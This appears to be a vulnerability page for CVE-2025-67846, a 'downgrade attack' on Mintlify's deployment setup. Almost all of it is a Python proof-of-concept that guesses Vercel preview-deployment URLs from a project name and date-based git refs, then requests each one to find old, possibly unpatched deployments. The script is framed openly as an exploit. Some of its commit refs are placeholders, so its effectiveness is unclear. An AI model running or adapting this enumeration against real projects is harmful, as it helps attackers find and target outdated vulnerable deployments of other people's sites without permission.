CVE-2025-67846 Mintlify Platform部署基础设施降级攻击漏洞

# CVE-2025-67846 Mintlify Platform Downgrade Attack PoC # This PoC demonstrates how to access old vulnerable deployments import requests import itertools import sys def generate_deployment_urls(base_project, git_refs): """ Generate potential deployment URLs based on predictable patterns """ urls = [] for ref in git_refs: # Vercel preview deployment URL pattern url = f"https://{base_project}-{ref}.vercel.app" urls.append(url) # Alternative pattern with deployment ID url2 = f"https://{ref}-{base_project}.vercel.app" urls.append(url2) return urls def check_deployment_access(url): """ Check if a deployment URL is accessible and returns valid content """ try: response = requests.get(url, timeout=10, allow_redirects=True) if response.status_code == 200: return True, response return False, None except requests.RequestException: return False, None def exploit_mintlify_downgrade(base_project, target_date): """ Main exploitation function for CVE-2025-67846 Args: base_project: The Mintlify project name target_date: Target date to find vulnerable deployment (e.g., '2025-10-01') """ print(f"[*] Starting downgrade attack on {base_project}") print(f"[*] Looking for deployments before {target_date}") # Common git ref patterns to enumerate git_refs = [ f"main-{target_date}", f"master-{target_date}", f"develop-{target_date}", f"release-{target_date}", f"v1.0.0-{target_date}", # Try variations with commit hashes "abc1234", "def5678", "9f1a2b3c" ] urls = generate_deployment_urls(base_project, git_refs) for url in urls: accessible, response = check_deployment_access(url) if accessible: print(f"[+] Found accessible deployment: {url}") print(f"[+] Status: {response.status_code}") print(f"[*] This deployment may contain unpatched vulnerabilities") return url print("[-] No accessible old deployments found") return None if __name__ == "__main__": # Example usage project = "your-mintlify-project" target = "2025-10-15" # Before the security patch (2025-11-15) exploit_mintlify_downgrade(project, target)